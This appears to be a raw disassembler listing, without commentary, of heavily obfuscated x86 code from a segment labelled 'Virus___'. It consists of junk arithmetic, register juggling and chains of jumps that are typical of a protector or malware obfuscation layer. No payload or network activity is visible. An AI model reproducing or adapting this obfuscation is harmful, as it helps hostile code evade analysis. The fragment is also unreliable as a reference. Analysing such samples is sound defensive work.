--------------------------------------------------------------------------- loc_5841AC: ; CODE XREF: Virus___:0058A2E1j mov eax, 1B480AA7h sub eax, 11C369EBh sub eax, 0FFFFFFFFh add eax, 48C34330h sub eax, 323990C8h sub ebp, eax pop eax add edx, ebp push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_58CA8E ; --------------------------------------------------------------------------- loc_5841E0: ; CODE XREF: Virus___:0058C76Dj pop eax add dh, ch push dword ptr [esp] pop ecx add esp, 4 mov bl, dh jmp loc_584AA0 ; --------------------------------------------------------------------------- loc_5841F4: ; CODE XREF: Virus___:0058F03Aj sub ebx, 307733A5h jmp loc_58B683 ; --------------------------------------------------------------------------- loc_5841FF: ; CODE XREF: Virus___:00590457j mov ebp, 79026CFBh jmp loc_5893B7 ; --------------------------------------------------------------------------- loc_584209: ; CODE XREF: Virus___:0058D96Bj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58CB6D ; --------------------------------------------------------------------------- loc_58421C: ; CODE XREF: Virus___:00585D01j add esp, 4 neg esi shl esi, 5 push ecx jmp loc_5893EF ; --------------------------------------------------------------------------- loc_58422A: ; CODE XREF: Virus___:00582383j pop esp and [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_584234: ; CODE XREF: Virus___:00581D88j neg ebp jmp loc_593559 ; --------------------------------------------------------------------------- loc_58423B: ; CODE XREF: Virus___:0059183Cj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 0A404C805h push ecx jmp loc_585218 ; --------------------------------------------------------------------------- loc_584256: ; CODE XREF: Virus___:0058C65Bj pop esp jmp loc_590F8E ; --------------------------------------------------------------------------- loc_58425C: ; CODE XREF: Virus___:00587575j mov ecx, esp jmp loc_58CBB2 ; --------------------------------------------------------------------------- loc_584263: ; CODE XREF: Virus___:0058FFEDj sub ebx, 2543D454h sub ebp, ebx pop ebx jmp loc_58F2E2 ; --------------------------------------------------------------------------- loc_584271: ; CODE XREF: Virus___:0058B3BAj mov eax, 329F155Ch mov edi, 5A431FE4h xor edi, eax pop eax xor edi, 534A37B8h and ecx, edi jmp loc_582295 ; --------------------------------------------------------------------------- loc_58428B: ; CODE XREF: Virus___:00580460j not ah xchg ah, cl xchg cl, bh jmp loc_59063C ; --------------------------------------------------------------------------- loc_584296: ; CODE XREF: Virus___:0058F16Fj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58429B: ; CODE XREF: Virus___:0058EA61j sub eax, 33061CF8h push 3753h jmp loc_58777A ; --------------------------------------------------------------------------- loc_5842AA: ; CODE XREF: Virus___:00593C95j not ebp xor ebp, 9334CC2Ch add edx, ebp jmp loc_591063 ; --------------------------------------------------------------------------- loc_5842B9: ; CODE XREF: Virus___:0058B8C0j pop edi add eax, 15B215DAh inc eax shl eax, 8 shr eax, 6 add eax, 0A031A21Bh jmp loc_58CC68 ; --------------------------------------------------------------------------- loc_5842D0: ; CODE XREF: Virus___:0057FEE8j mov esi, [esp] jmp loc_58EF67 ; --------------------------------------------------------------------------- loc_5842D8: ; CODE XREF: Virus___:00586336j mov ebp, 24D07A93h mov ebx, 484A3BF8h xor ebx, ebp pop ebp sub esp, 4 mov [esp], ebx xor dword ptr [esp], 6BB00DFCh jmp loc_586225 ; --------------------------------------------------------------------------- loc_5842FA: ; CODE XREF: Virus___:005887F1j push small 100Ch mov [esp], ax jmp loc_587DB1 ; --------------------------------------------------------------------------- loc_584307: ; CODE XREF: Virus___:0058F33Cj push esi mov esi, 6826690Bh dec esi jmp loc_5934D9 ; --------------------------------------------------------------------------- loc_584313: ; CODE XREF: Virus___:0058EE7Cj add eax, edx pop edx jmp loc_59298D ; --------------------------------------------------------------------------- loc_58431B: ; CODE XREF: Virus___:00586EA3j pop edx xchg eax, edx jmp loc_581B8D ; --------------------------------------------------------------------------- loc_584322: ; CODE XREF: Virus___:00583335j pop dword ptr [esp] jmp loc_59360C ; --------------------------------------------------------------------------- loc_58432A: ; CODE XREF: Virus___:005900E6j pop ecx jmp loc_582FA9 ; --------------------------------------------------------------------------- loc_584330: ; CODE XREF: Virus___:00593A7Fj add edi, 51031327h and edi, 34836493h sub edi, 0E0DC4B3h sub ebx, edi pop edi push ecx push 4DF1092Dh mov ecx, [esp] add esp, 4 sub ecx, 0E834CC6Eh jmp loc_58E39D ; --------------------------------------------------------------------------- loc_58435C: ; CODE XREF: Virus___:005934A0j mov edi, esp add edi, 4 jmp loc_589CD4 ; --------------------------------------------------------------------------- loc_584369: ; CODE XREF: Virus___:005864B7j xor cl, 0D0h sub dl, cl pop ecx push eax mov ah, 51h not ah and ah, 0C9h add ah, 0ACh add ah, 39h jmp loc_58615F ; --------------------------------------------------------------------------- loc_584382: ; CODE XREF: Virus___:00591829j pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ebp push edi mov edi, 5CAF2655h push edi xor dword ptr [esp], 3D3039DBh push dword ptr [esp] pop ebp add esp, 4 xor ebp, 3D3039DBh mov edi, [esp] push edx jmp loc_592C3F ; --------------------------------------------------------------------------- loc_5843B5: ; CODE XREF: Virus___:0058CDBFj pop eax jmp loc_591FD6 ; --------------------------------------------------------------------------- loc_5843BB: ; CODE XREF: Virus___:0058F59Fj mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi push 55A8h jmp loc_58D454 ; --------------------------------------------------------------------------- loc_5843DE: ; CODE XREF: Virus___:00589449j add edi, esi mov esi, [esp] add esp, 4 jmp loc_592442 ; --------------------------------------------------------------------------- loc_5843EB: ; CODE XREF: Virus___:0058D80Aj push dword ptr [edx] pop ecx pop edx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax jmp loc_5821BD ; --------------------------------------------------------------------------- push edx push 1A5Bh mov [esp], esi mov esi, 7A327097h push ebx push 63FC28A7h pop ebx shr ebx, 1 dec ebx push ebp mov ebp, 0AC3084ADh sub ebx, 788026E0h jmp loc_589021 ; --------------------------------------------------------------------------- loc_58444F: ; CODE XREF: Virus___:00586289j mov esp, [esp] mov [esp], ecx mov ecx, 59BC2561h push ebp mov ebp, 0FFFFFFFFh add ecx, 1ABC11F0h sub ecx, ebp sub ecx, 1ABC11F0h pop ebp jmp loc_58E1D4 ; --------------------------------------------------------------------------- loc_584474: ; CODE XREF: Virus___:0058852Aj push edx jmp loc_587E94 ; --------------------------------------------------------------------------- loc_58447A: ; CODE XREF: Virus___:00586CD1j add ecx, eax pop eax add ecx, 4 push 29Dh mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 push edx mov edx, 4 sub esi, 32DB4A5Fh sub esi, edx add esi, 32DB4A5Fh pop edx xchg esi, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_58135B ; --------------------------------------------------------------------------- loc_5844C7: ; CODE XREF: Virus___:005848DAj add ebp, eax mov eax, [esp] jmp loc_593013 ; --------------------------------------------------------------------------- loc_5844D1: ; CODE XREF: Virus___:00580B4Bj push edx mov dl, 9Ah inc dl add dl, 0B9h jmp loc_591856 ; --------------------------------------------------------------------------- loc_5844DE: ; CODE XREF: Virus___:00589498j pop eax push 7AA3h mov [esp], ebx jmp loc_5812DA ; --------------------------------------------------------------------------- loc_5844EC: ; CODE XREF: Virus___:00585730j add esp, 4 jmp loc_58AB0A ; --------------------------------------------------------------------------- loc_5844F7: ; CODE XREF: Virus___:00590C25j dec ecx dec ecx jmp loc_5804FB ; --------------------------------------------------------------------------- loc_5844FE: ; CODE XREF: Virus___:0059282Ej add al, bh pop ebx jmp loc_58F660 ; --------------------------------------------------------------------------- loc_584506: ; CODE XREF: Virus___:0058E42Bj mov eax, edx mov edx, [esp] add esp, 4 push ecx mov ecx, 5D085625h sub [esp+8], ecx pop ecx sub dword ptr [esp+4], 3E523316h sub [esp+4], eax add dword ptr [esp+4], 3E523316h add dword ptr [esp+4], 5D085625h mov eax, [esp] add esp, 4 jmp loc_57F37C ; --------------------------------------------------------------------------- loc_584546: ; CODE XREF: Virus___:00583A40j add esp, 4 push ecx mov ecx, 782325A7h jmp loc_58B262 ; --------------------------------------------------------------------------- loc_584557: ; CODE XREF: Virus___:00584F3Aj add esp, 4 add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, esp push 328Ch mov [esp], edi push ebp push 4EE03ADDh mov ebp, [esp] add esp, 4 push eax mov eax, 4DE87F6Eh or ebp, eax pop eax add ebp, 0B0178005h jmp loc_5896AC ; --------------------------------------------------------------------------- loc_5845A3: ; CODE XREF: Virus___:00583BF1j xchg ebx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 0FEh and [edi+1Ch], ecx mov ecx, [esp] push esi jmp loc_593C48 ; --------------------------------------------------------------------------- loc_5845BD: ; CODE XREF: Virus___:0057F6EBj pop edi jmp loc_589BE1 ; --------------------------------------------------------------------------- loc_5845C3: ; CODE XREF: Virus___:00580E8Ej add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx jmp loc_5895BB ; --------------------------------------------------------------------------- loc_5845D6: ; CODE XREF: Virus___:00580494j pop edi add eax, ebx sub eax, 2A40003Bh push esi mov esi, 706A7D83h push 37h mov [esp], ecx mov ecx, 0D382F25h sub esi, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 6C56747Dh jmp loc_58F1F7 ; --------------------------------------------------------------------------- loc_584607: ; CODE XREF: Virus___:0058BE3Aj mov edi, 1B7E0948h not edi or edi, 47DB00F6h xor edi, 0C55B067h sub edx, edi pop edi add ebx, 1BB95DF6h jmp loc_582723 ; --------------------------------------------------------------------------- loc_584628: ; CODE XREF: Virus___:00585254j push dword ptr [esp] pop esi add esp, 4 add eax, 2 jmp loc_585550 ; --------------------------------------------------------------------------- loc_584637: ; CODE XREF: Virus___:00593305j xor ebp, [esp] mov esp, [esp] jmp loc_58C2C3 ; --------------------------------------------------------------------------- loc_584642: ; CODE XREF: Virus___:00591E4Bj add ecx, 643070A8h jmp loc_590A71 ; --------------------------------------------------------------------------- loc_58464D: ; CODE XREF: Virus___:00585F09j mov eax, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5885D0 ; --------------------------------------------------------------------------- loc_584661: ; CODE XREF: Virus___:00581A04j push ecx mov ecx, 5CCA2F09h push ecx jmp loc_58485B ; --------------------------------------------------------------------------- loc_58466D: ; CODE XREF: Virus___:00590CECj pop ebx sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], eax mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 mov ebx, ebp pop ebp and eax, ebx push dword ptr [esp] jmp loc_589CB2 ; --------------------------------------------------------------------------- loc_58469A: ; CODE XREF: Virus___:0058957Fj sub eax, 19236E56h jmp loc_58B718 ; --------------------------------------------------------------------------- loc_5846A4: ; CODE XREF: Virus___:005943D9j push edx add dword ptr [esp], 1A622AEBh pop eax sub eax, 1A622AEBh jmp loc_590C43 ; --------------------------------------------------------------------------- loc_5846B7: ; CODE XREF: Virus___:00583C14j mov [esp], edx jmp loc_590C2A ; --------------------------------------------------------------------------- loc_5846BF: ; CODE XREF: Virus___:00590542j pop edi jmp loc_5804E0 ; --------------------------------------------------------------------------- loc_5846C5: ; CODE XREF: Virus___:00581919j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_593DB2 ; --------------------------------------------------------------------------- loc_5846DD: ; CODE XREF: Virus___:0058CC20j push dword ptr [esp] jmp loc_582663 ; --------------------------------------------------------------------------- loc_5846E5: ; CODE XREF: Virus___:005857CBj push ebp mov ebp, 49DF6067h mov esi, ebp pop ebp jmp loc_586CD6 ; --------------------------------------------------------------------------- loc_5846F3: ; CODE XREF: Virus___:0058D570j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi jmp loc_586F2A ; --------------------------------------------------------------------------- loc_58470B: ; CODE XREF: Virus___:0058F0D6j push ebx jmp loc_590D65 ; --------------------------------------------------------------------------- loc_584711: ; CODE XREF: Virus___:00582223j push 3Fh mov [esp], edx mov dh, 68h inc dh dec dh and dh, 1 and dh, 0F9h push ebx jmp loc_58DA22 ; --------------------------------------------------------------------------- loc_58472B: ; CODE XREF: Virus___:0058CEEAj push 15C1h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58A898 ; --------------------------------------------------------------------------- loc_584746: ; CODE XREF: Virus___:00588E6Ej add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push esi mov esi, 1141BB2h add eax, 64798Bh add eax, esi sub eax, 64798Bh pop esi jmp loc_58BA62 ; --------------------------------------------------------------------------- loc_58476D: ; CODE XREF: Virus___:00580870j push dword ptr [esp] jmp loc_593AE7 ; --------------------------------------------------------------------------- loc_584775: ; CODE XREF: Virus___:0058B51Dj add esp, 4 sub dl, 89h shr dl, 3 push eax push ecx mov cl, 17h jmp loc_588911 ; --------------------------------------------------------------------------- loc_584787: ; CODE XREF: Virus___:0058184Ej push edi mov edi, 4 jmp loc_58E88D ; --------------------------------------------------------------------------- loc_584792: ; CODE XREF: Virus___:00580425j mov edx, 551D0830h not edx not edx add edx, 6A447E22h dec edx inc edx add edx, 409E79B2h mov eax, edx jmp loc_58317C ; --------------------------------------------------------------------------- loc_5847B0: ; CODE XREF: Virus___:0057F619j mov eax, 4 add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx jmp loc_589B1D ; --------------------------------------------------------------------------- loc_5847C3: ; CODE XREF: Virus___:0058F14Fj pop ecx add esp, 4 pop edx push esi mov esi, esp add esi, 4 jmp loc_59002F ; --------------------------------------------------------------------------- loc_5847D9: ; CODE XREF: Virus___:0058F7FAj sub esp, 4 mov [esp], esi mov esi, 0E6B72h mov edx, esi jmp loc_58C4F0 ; --------------------------------------------------------------------------- loc_5847EB: ; CODE XREF: Virus___:0058E841j add edx, edi push ebp mov ebp, 2FF10807h add edx, 5D553F5h add edx, 3E7875DCh jmp loc_58F7B1 ; --------------------------------------------------------------------------- loc_584804: ; CODE XREF: Virus___:0058E35Bj mov esp, [esp] jmp loc_592E68 ; --------------------------------------------------------------------------- loc_58480C: ; CODE XREF: Virus___:005840EAj add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] push edx push esi mov esi, esp add esi, 4 jmp loc_593046 ; --------------------------------------------------------------------------- loc_58482D: ; CODE XREF: Virus___:0057FB4Dj push edi jmp loc_5934A5 ; --------------------------------------------------------------------------- loc_584833: ; CODE XREF: Virus___:00581684j sub esp, 4 mov [esp], edi push 6C66h mov [esp], esp add dword ptr [esp], 4 jmp loc_58AA48 ; --------------------------------------------------------------------------- loc_58484A: ; CODE XREF: Virus___:00586D26j add edi, 4 sub edi, 4 jmp loc_585B4F ; --------------------------------------------------------------------------- loc_58485B: ; CODE XREF: Virus___:00584668j push ebx jmp loc_57F62C ; --------------------------------------------------------------------------- loc_584861: ; CODE XREF: Virus___:005863C3j mov esi, 67DE37F5h shl esi, 3 add esi, 0AFA1737h dec esi push edx jmp loc_5802E4 ; --------------------------------------------------------------------------- loc_584876: ; CODE XREF: Virus___:00587EEDj pop esi jmp loc_58A754 ; --------------------------------------------------------------------------- loc_58487C: ; CODE XREF: Virus___:00593F93j sub esi, 70B4421Ah sub esi, ecx add esi, 70B4421Ah jmp loc_590103 ; --------------------------------------------------------------------------- loc_58488F: ; CODE XREF: Virus___:00590C2Cj neg dl jmp loc_58CAFF ; --------------------------------------------------------------------------- loc_584896: ; CODE XREF: Virus___:00593A38j add esi, eax pop eax push ebp mov ebp, 2 sub esi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_590F9C ; --------------------------------------------------------------------------- loc_5848B5: ; CODE XREF: Virus___:005910F9j add bl, 0C9h add bl, 10h mov eax, [esp] add esp, 4 xor bl, 96h jmp loc_589865 ; --------------------------------------------------------------------------- loc_5848C9: ; CODE XREF: Virus___:005921E7j pop esi add ebp, 0FFFFFFFFh not ebp push eax mov eax, 6FF23017h xor eax, 24E03225h jmp loc_5844C7 ; --------------------------------------------------------------------------- loc_5848DF: ; CODE XREF: Virus___:0058CC63j inc edx jmp loc_58A408 ; --------------------------------------------------------------------------- loc_5848E5: ; CODE XREF: Virus___:0058762Cj sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 4 jmp loc_58D21F ; --------------------------------------------------------------------------- loc_5848FB: ; CODE XREF: Virus___:0058BF1Cj add ecx, 77B44C77h add ecx, esi jmp loc_58F13B ; --------------------------------------------------------------------------- loc_584908: ; CODE XREF: Virus___:0058A389j pop eax jmp loc_58E7EF ; --------------------------------------------------------------------------- loc_58490E: ; CODE XREF: Virus___:0058B88Cj mov eax, [esp] add esp, 4 push ebp mov ebp, 0AD4AA50Dh xor edx, ebp mov ebp, [esp] add esp, 4 or [edi+1Ch], edx jmp loc_582148 ; --------------------------------------------------------------------------- loc_58492D: ; CODE XREF: Virus___:005860E7j sub eax, 3BFE4DCFh jmp loc_58E7FF ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58493F: ; CODE XREF: Virus___:00591D23j pop ebp add edi, 4 push 407h mov [esp], esi mov esi, esp push eax mov eax, 698A2D5Eh xor eax, 698A2D5Ah add esi, eax pop eax sub esi, 4 jmp loc_58D2E9 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_591A08 ; --------------------------------------------------------------------------- loc_58497E: ; CODE XREF: Virus___:0058B9BCj xor eax, ebp jmp loc_58D953 ; --------------------------------------------------------------------------- loc_584985: ; CODE XREF: Virus___:0058ECA9j mov esi, 17230209h jmp loc_591FF5 ; --------------------------------------------------------------------------- loc_58498F: ; CODE XREF: Virus___:0058FF28j mov edi, esp add edi, 4 push ebp push 1B8C4664h jmp loc_58B3FD ; --------------------------------------------------------------------------- loc_5849A2: ; CODE XREF: Virus___:0058394Fj push esp jmp loc_58812E ; --------------------------------------------------------------------------- loc_5849A8: ; CODE XREF: Virus___:00581F5Ej push esi jmp loc_58A0A6 ; --------------------------------------------------------------------------- loc_5849AE: ; CODE XREF: Virus___:00581674j dec ecx or ecx, 1D53AB0h sub ecx, 34AF2CA9h or ecx, 5321177Bh sub ecx, 0A8E23253h add eax, ecx jmp loc_58B828 ; --------------------------------------------------------------------------- loc_5849CE: ; CODE XREF: Virus___:00586469j add esp, 4 push ebp mov ebp, 7D001267h neg ebp inc ebp xor ebp, 82FFED9Eh add ecx, ebp mov ebp, [esp] add esp, 4 add ecx, 2 push 4E50h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_58A623 ; --------------------------------------------------------------------------- loc_584A05: ; CODE XREF: Virus___:00585671j xchg eax, ebx dec eax xchg eax, ebx add ebx, 4677273Eh jmp loc_590C38 ; --------------------------------------------------------------------------- loc_584A13: ; CODE XREF: Virus___:00587FE9j pop ebp sub esp, 4 jmp loc_58E3F3 ; --------------------------------------------------------------------------- loc_584A1C: ; CODE XREF: Virus___:0059029Ej or esi, 91F4044h sub esi, 6B5CCB98h dec esi shl esi, 6 push ebp push esi mov esi, 242A0BE6h not esi push eax mov eax, 8153E875h xor esi, eax pop eax jmp loc_58FC72 ; --------------------------------------------------------------------------- loc_584A43: ; CODE XREF: Virus___:00588581j push ebx jmp loc_582318 ; --------------------------------------------------------------------------- loc_584A49: ; CODE XREF: Virus___:0058B544j mov ecx, [esp] add esp, 4 add esi, ebx pop ebx dec esi xor esi, 2296199Ah add esi, 8BEC47A0h sub eax, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_58E797 ; --------------------------------------------------------------------------- loc_584A7B: ; CODE XREF: Virus___:0058773Bj add esp, 4 xor al, cl mov cx, [esp] jmp loc_59280C ; --------------------------------------------------------------------------- loc_584A89: ; CODE XREF: Virus___:00588D36j add edx, ecx pop ecx xchg edx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_584AA0: ; CODE XREF: Virus___:005841EFj pop edx xor al, bl pop ebx push 36D8h mov [esp], eax push edx mov dl, 6Bh mov ah, dl pop edx xor ah, 6Ah push cx mov ch, 0FAh xor ah, ch pop cx jmp loc_5908E7 ; --------------------------------------------------------------------------- loc_584AC2: ; CODE XREF: Virus___:005893B9j pop ebp push ebp push edi mov edi, 2B0D4534h jmp loc_58134D ; --------------------------------------------------------------------------- loc_584ACF: ; CODE XREF: Virus___:00591BFBj mov ebp, [esp] add esp, 4 add edi, 6C966722h push ecx mov ecx, 16AE4D1Eh sub esp, 4 mov [esp], ebp mov ebp, 1C461B93h add edi, 3DFB0585h sub edi, ebp sub edi, 3DFB0585h jmp loc_59312E ; --------------------------------------------------------------------------- loc_584B02: ; CODE XREF: Virus___:00587DC0j mov si, 5BCEh inc si dec si xor si, 30CCh add dx, si pop esi jmp loc_58D032 ; --------------------------------------------------------------------------- loc_584B18: ; CODE XREF: Virus___:005924C7j add edi, ecx jmp loc_583DE9 ; --------------------------------------------------------------------------- loc_584B1F: ; CODE XREF: Virus___:00589D69j push edi mov edi, 5AE87FFBh jmp loc_58334C ; --------------------------------------------------------------------------- loc_584B2A: ; CODE XREF: Virus___:00583982j and cl, 0CAh add cl, 89h xor cl, 4Bh push ebx mov bh, 3 and bh, 67h xor bh, 0A5h sub cl, bh jmp loc_581E90 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5937BB ; --------------------------------------------------------------------------- loc_584B4C: ; CODE XREF: Virus___:00586BCAj push eax push ebx jmp loc_58AE13 ; --------------------------------------------------------------------------- loc_584B53: ; CODE XREF: Virus___:0057FCE2j mov ebx, 69C36C86h or edx, ebx pop ebx push eax mov eax, 0EDDF6EE3h sub edx, eax pop eax add ebp, edx pop edx push ecx mov ecx, 60F0357Eh inc ecx shr ecx, 4 shr ecx, 8 jmp loc_585BF1 ; --------------------------------------------------------------------------- loc_584B79: ; CODE XREF: Virus___:005851DAj add eax, 0EDEF087Eh sub ebx, eax pop eax and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_592940 push dword ptr [edi+1Ch] jmp loc_58ADAA ; --------------------------------------------------------------------------- loc_584B9C: ; CODE XREF: Virus___:0058898Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_58315C ; --------------------------------------------------------------------------- lodsd push edx mov edx, 35030B7Fh sub eax, edx jmp loc_5915AC ; --------------------------------------------------------------------------- loc_584BC2: ; CODE XREF: Virus___:00585CC9j add esi, 4 sub esp, 4 mov [esp], ecx mov ecx, 76523181h jmp loc_590D11 ; --------------------------------------------------------------------------- loc_584BDB: ; CODE XREF: Virus___:00587D8Fj push ebp mov ebp, 68E921BFh or ebp, 1B3C1FF4h jmp loc_591BA4 ; --------------------------------------------------------------------------- loc_584BEC: ; CODE XREF: Virus___:0058200Cj shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], edx xor edx, [esp] xor [esp], edx push 0C2h mov [esp], edx jmp loc_5939DD ; --------------------------------------------------------------------------- loc_584C0D: ; CODE XREF: Virus___:0058FB16j xor ebp, 472B4F03h xor ebp, 68DC2D94h jmp loc_58A204 ; --------------------------------------------------------------------------- loc_584C1E: ; CODE XREF: Virus___:0058101Cj xor ebp, 7A90EDCAh shr ebp, 7 sub ebp, 0FFFFFFFFh or ebp, 14C216F0h shl ebp, 6 push edx push ecx jmp loc_585986 ; --------------------------------------------------------------------------- loc_584C3A: ; CODE XREF: Virus___:005872F3j mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_584C56: ; CODE XREF: Virus___:005893A3j push edx mov edx, 6D83331Dh push esi mov esi, 1C611EC5h or esi, 5A804CC7h jmp loc_58A36C ; --------------------------------------------------------------------------- loc_584C6D: ; CODE XREF: Virus___:00580324j mov edi, ebx pop ebx jmp loc_58DEE4 ; --------------------------------------------------------------------------- loc_584C75: ; CODE XREF: Virus___:00586C84j mov ebp, 4 sub dword ptr [esp+4], 3F20A21h add [esp+4], ebp jmp loc_591C57 ; --------------------------------------------------------------------------- loc_584C8B: ; CODE XREF: Virus___:00585905j mov esi, [esp] add esp, 4 xor edi, 0E860D77h jmp loc_57F843 ; --------------------------------------------------------------------------- loc_584C9F: ; CODE XREF: Virus___:0059427Ej mov ebp, 3A397150h push eax mov eax, 22C0A30Ch add ebp, eax pop eax add eax, ebp pop ebp push dword ptr [esp] jmp loc_58E80E ; --------------------------------------------------------------------------- loc_584CB8: ; CODE XREF: Virus___:0057FC39j pop ebp jmp loc_58E15E ; --------------------------------------------------------------------------- loc_584CBE: ; CODE XREF: Virus___:00580E4Ej sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_587238 ; --------------------------------------------------------------------------- loc_584CD4: ; CODE XREF: Virus___:005824DAj sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 4 jmp loc_5819BB ; --------------------------------------------------------------------------- loc_584CEA: ; CODE XREF: Virus___:0058B537j not edi push ecx push ebp mov ebp, 0A06BC1AAh mov ecx, ebp pop ebp add edi, ecx pop ecx sub eax, edi jmp loc_58909E ; --------------------------------------------------------------------------- loc_584D00: ; CODE XREF: Virus___:0058E4FFj sub esi, 207B4575h jmp loc_587BC0 ; --------------------------------------------------------------------------- loc_584D0B: ; CODE XREF: Virus___:0059336Ej or ebx, ebx jnz loc_590EE7 push 316Ch mov [esp], ebp sub esp, 4 mov [esp], edx push ecx mov ecx, 2F657027h add [esp+4], ecx pop ecx jmp loc_58333A ; --------------------------------------------------------------------------- loc_584D34: ; CODE XREF: Virus___:005891C3j pop esp mov [esp], ebp mov ebp, 42E0450Ah push eax mov eax, 55F428A7h or ebp, eax pop eax sub esp, 4 mov [esp], edx mov edx, 378652C3h sub edx, 1 jmp loc_5802D8 ; --------------------------------------------------------------------------- loc_584D5F: ; CODE XREF: Virus___:0058A8DEj mov esp, [esp] push ebp jmp loc_586F8B ; --------------------------------------------------------------------------- loc_584D68: ; CODE XREF: Virus___:0058808Dj sub esi, 0FFFFFFFFh and esi, 7B6E759Bh push edx jmp loc_58C3BE ; --------------------------------------------------------------------------- loc_584D77: ; CODE XREF: Virus___:00583DBBj add edx, esi pop esi mov eax, [esp] add esp, 4 push 0FD4h mov [esp], edi push ebp mov ebp, 299D2091h mov edi, 299D2095h sub edi, ebp jmp loc_594283 ; --------------------------------------------------------------------------- loc_584D9D: ; CODE XREF: Virus___:0058BA53j mov edi, 47B01CDDh sub [esp+8], edi pop edi push ebp mov ebp, 54FF03CCh sub [esp+8], ebp jmp loc_581723 ; --------------------------------------------------------------------------- loc_584DB6: ; CODE XREF: Virus___:0058E6C1j neg ebp dec ebp jmp loc_588BDA ; --------------------------------------------------------------------------- loc_584DBE: ; CODE XREF: Virus___:0059054Ej xor ebx, 586963BBh jmp loc_58EF6F ; --------------------------------------------------------------------------- loc_584DC9: ; CODE XREF: Virus___:0058628Fj push eax jmp loc_5938DF ; --------------------------------------------------------------------------- loc_584DCF: ; CODE XREF: Virus___:0058C35Ej pop esp push ebx push 2DADh mov [esp], esp jmp loc_582068 ; --------------------------------------------------------------------------- loc_584DDE: ; CODE XREF: Virus___:00590EAEj pop edi sub esp, 4 mov [esp], ebx push edi push 62431283h pop edi mov ebx, edi pop edi push ebx push edi mov edi, 7DC14FAEh jmp loc_58FA53 ; --------------------------------------------------------------------------- loc_584DFE: ; CODE XREF: Virus___:00589234j add ebx, edi pop edi add edi, 51795165h add edi, ebx sub edi, 51795165h mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_590072 ; --------------------------------------------------------------------------- loc_584E20: ; CODE XREF: Virus___:0058B01Fj push esp jmp loc_58D18E ; --------------------------------------------------------------------------- loc_584E26: ; CODE XREF: Virus___:00590E50j xor [esp], ebx xor ebx, [esp] pop esp push ecx xchg ch, [esp] not ch push edi mov edi, esp add edi, 4 sub edi, 2 xchg edi, [esp] jmp loc_58A7DF ; --------------------------------------------------------------------------- loc_584E47: ; CODE XREF: Virus___:0058A414j push esi push esp pop esi jmp loc_592E51 ; --------------------------------------------------------------------------- loc_584E4F: ; CODE XREF: Virus___:005833F3j pop esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 push 0B8h mov [esp], ebp jmp loc_584109 ; --------------------------------------------------------------------------- loc_584E6D: ; CODE XREF: Virus___:0058E117j mov bh, 0B4h jmp loc_58E21B ; --------------------------------------------------------------------------- loc_584E74: ; CODE XREF: Virus___:00585B97j add edx, ecx jmp loc_586FA6 ; --------------------------------------------------------------------------- loc_584E7B: ; CODE XREF: Virus___:0059280Dj push esp pop ebp add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx push eax mov ah, 70h jmp loc_58D367 ; --------------------------------------------------------------------------- loc_584EA0: ; CODE XREF: Virus___:00590C92j xor ah, 4Dh xor dl, ah jmp loc_58D309 ; --------------------------------------------------------------------------- loc_584EAA: ; CODE XREF: Virus___:00587561j add ebx, 2D7F2EC3h add ebx, 0E28407ECh mov esi, ebx pop ebx sub esp, 4 jmp loc_58B5E9 